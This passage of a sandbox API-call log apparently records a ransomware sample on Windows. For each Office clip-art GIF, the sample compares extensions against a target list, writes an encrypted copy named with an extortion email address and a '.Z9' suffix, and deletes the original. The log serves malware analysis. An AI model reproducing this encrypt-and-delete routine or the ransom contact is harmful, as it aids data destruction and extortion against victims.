	[0080.965] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.966] lstrlenW (lpString=".dbf") returned 4
	[0080.966] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.966] lstrlenW (lpString=".1cd") returned 4
	[0080.966] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.966] lstrlenW (lpString=".jpg") returned 4
	[0080.966] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.966] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.966] lstrlenW (lpString="AG00040_.GIF") returned 12
	[0080.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.966] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8097) returned 1
	[0080.966] CloseHandle (hObject=0x324) returned 1
	[0080.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220
	[0080.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.967] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.967] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.967] GetLastError () returned 0x0
	[0080.967] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1fa1, lpOverlapped=0x0) returned 1
	[0080.970] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1fb0, lpOverlapped=0x0) returned 1
	[0080.971] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.971] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.971] SetEndOfFile (hFile=0x390) returned 1
	[0080.971] CloseHandle (hObject=0x390) returned 1
	[0080.972] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.972] SetEndOfFile (hFile=0x324) returned 1
	[0080.974] CloseHandle (hObject=0x324) returned 1
	[0080.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1
	[0080.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.974] lstrlenW (lpString=".doc") returned 4
	[0080.974] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.974] lstrlenW (lpString=".docx") returned 5
	[0080.974] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.974] lstrlenW (lpString=".pdf") returned 4
	[0080.975] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.975] lstrlenW (lpString=".xls") returned 4
	[0080.975] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.975] lstrlenW (lpString=".xlsx") returned 5
	[0080.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.975] lstrlenW (lpString=".ppt") returned 4
	[0080.975] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.975] lstrlenW (lpString=".zip") returned 4
	[0080.975] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.975] lstrlenW (lpString=".rar") returned 4
	[0080.975] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.975] lstrlenW (lpString=".bz2") returned 4
	[0080.975] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.975] lstrlenW (lpString=".7z") returned 3
	[0080.975] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.975] lstrlenW (lpString=".dbf") returned 4
	[0080.975] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.975] lstrlenW (lpString=".1cd") returned 4
	[0080.975] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.975] lstrlenW (lpString=".jpg") returned 4
	[0080.975] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.976] lstrlenW (lpString=".doc") returned 4
	[0080.976] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.976] lstrlenW (lpString=".docx") returned 5
	[0080.976] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.976] lstrlenW (lpString=".pdf") returned 4
	[0080.976] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.976] lstrlenW (lpString=".xls") returned 4
	[0080.976] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.976] lstrlenW (lpString=".xlsx") returned 5
	[0080.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.976] lstrlenW (lpString=".ppt") returned 4
	[0080.976] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.976] lstrlenW (lpString=".zip") returned 4
	[0080.976] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.976] lstrlenW (lpString=".rar") returned 4
	[0080.976] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.976] lstrlenW (lpString=".bz2") returned 4
	[0080.976] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.976] lstrlenW (lpString=".7z") returned 3
	[0080.976] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.976] lstrlenW (lpString=".dbf") returned 4
	[0080.976] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.977] lstrlenW (lpString=".1cd") returned 4
	[0080.977] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0080.977] lstrlenW (lpString=".jpg") returned 4
	[0080.977] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.977] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.977] lstrlenW (lpString="AG00052_.GIF") returned 12
	[0080.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.978] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7686) returned 1
	[0080.978] CloseHandle (hObject=0x324) returned 1
	[0080.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220
	[0080.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.979] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.979] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.979] GetLastError () returned 0x0
	[0080.979] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1e06, lpOverlapped=0x0) returned 1
	[0080.982] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1e10, lpOverlapped=0x0) returned 1
	[0080.983] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.983] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.983] SetEndOfFile (hFile=0x390) returned 1
	[0080.983] CloseHandle (hObject=0x390) returned 1
	[0080.984] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.984] SetEndOfFile (hFile=0x324) returned 1
	[0080.985] CloseHandle (hObject=0x324) returned 1
	[0080.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1
	[0080.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0080.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0080.986] lstrlenW (lpString=".doc") returned 4
	[0080.986] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.986] lstrlenW (lpString=".docx") returned 5
	[0080.986] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.986] lstrlenW (lpString=".pdf") returned 4
	[0080.986] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.986] lstrlenW (lpString=".xls") returned 4
	[0080.986] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.986] lstrlenW (lpString=".xlsx") returned 5
	[0080.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.986] lstrlenW (lpString=".ppt") returned 4
	[0080.986] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0080.986] lstrlenW (lpString=".zip") returned 4
	[0080.986] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.346] lstrlenW (lpString=".rar") returned 4
	[0081.346] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.346] lstrlenW (lpString=".bz2") returned 4
	[0081.346] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.354] lstrlenW (lpString=".7z") returned 3
	[0081.354] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.354] lstrlenW (lpString=".dbf") returned 4
	[0081.373] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.373] lstrlenW (lpString=".1cd") returned 4
	[0081.373] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.373] lstrlenW (lpString=".jpg") returned 4
	[0081.373] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.373] lstrlenW (lpString=".doc") returned 4
	[0081.373] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.373] lstrlenW (lpString=".docx") returned 5
	[0081.373] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.373] lstrlenW (lpString=".pdf") returned 4
	[0081.373] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.373] lstrlenW (lpString=".xls") returned 4
	[0081.373] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.373] lstrlenW (lpString=".xlsx") returned 5
	[0081.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.373] lstrlenW (lpString=".ppt") returned 4
	[0081.373] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.373] lstrlenW (lpString=".zip") returned 4
	[0081.373] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.374] lstrlenW (lpString=".rar") returned 4
	[0081.374] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.374] lstrlenW (lpString=".bz2") returned 4
	[0081.374] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.374] lstrlenW (lpString=".7z") returned 3
	[0081.374] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.374] lstrlenW (lpString=".dbf") returned 4
	[0081.374] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.374] lstrlenW (lpString=".1cd") returned 4
	[0081.374] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0081.374] lstrlenW (lpString=".jpg") returned 4
	[0081.374] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.374] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.374] lstrlenW (lpString="AG00129_.GIF") returned 12
	[0081.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.431] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=12482) returned 1
	[0081.431] CloseHandle (hObject=0x358) returned 1
	[0081.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220
	[0081.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.431] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.431] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0081.432] GetLastError () returned 0x0
	[0081.432] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0081.435] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0081.437] ReadFile (in: hFile=0x358, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.437] WriteFile (in: hFile=0x320, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.437] SetEndOfFile (hFile=0x320) returned 1
	[0081.437] CloseHandle (hObject=0x320) returned 1
	[0081.438] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.438] SetEndOfFile (hFile=0x358) returned 1
	[0081.439] CloseHandle (hObject=0x358) returned 1
	[0081.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1
	[0081.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.440] lstrlenW (lpString=".doc") returned 4
	[0081.440] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.440] lstrlenW (lpString=".docx") returned 5
	[0081.440] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.440] lstrlenW (lpString=".pdf") returned 4
	[0081.440] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.440] lstrlenW (lpString=".xls") returned 4
	[0081.440] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.440] lstrlenW (lpString=".xlsx") returned 5
	[0081.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.440] lstrlenW (lpString=".ppt") returned 4
	[0081.440] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.440] lstrlenW (lpString=".zip") returned 4
	[0081.440] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.440] lstrlenW (lpString=".rar") returned 4
	[0081.440] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.440] lstrlenW (lpString=".bz2") returned 4
	[0081.440] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.440] lstrlenW (lpString=".7z") returned 3
	[0081.440] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.440] lstrlenW (lpString=".dbf") returned 4
	[0081.440] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString=".1cd") returned 4
	[0081.441] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString=".jpg") returned 4
	[0081.441] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString=".doc") returned 4
	[0081.441] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.441] lstrlenW (lpString=".docx") returned 5
	[0081.441] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.441] lstrlenW (lpString=".pdf") returned 4
	[0081.441] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.441] lstrlenW (lpString=".xls") returned 4
	[0081.441] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.441] lstrlenW (lpString=".xlsx") returned 5
	[0081.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.441] lstrlenW (lpString=".ppt") returned 4
	[0081.441] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0081.441] lstrlenW (lpString=".zip") returned 4
	[0081.441] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.441] lstrlenW (lpString=".rar") returned 4
	[0081.441] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.441] lstrlenW (lpString=".bz2") returned 4
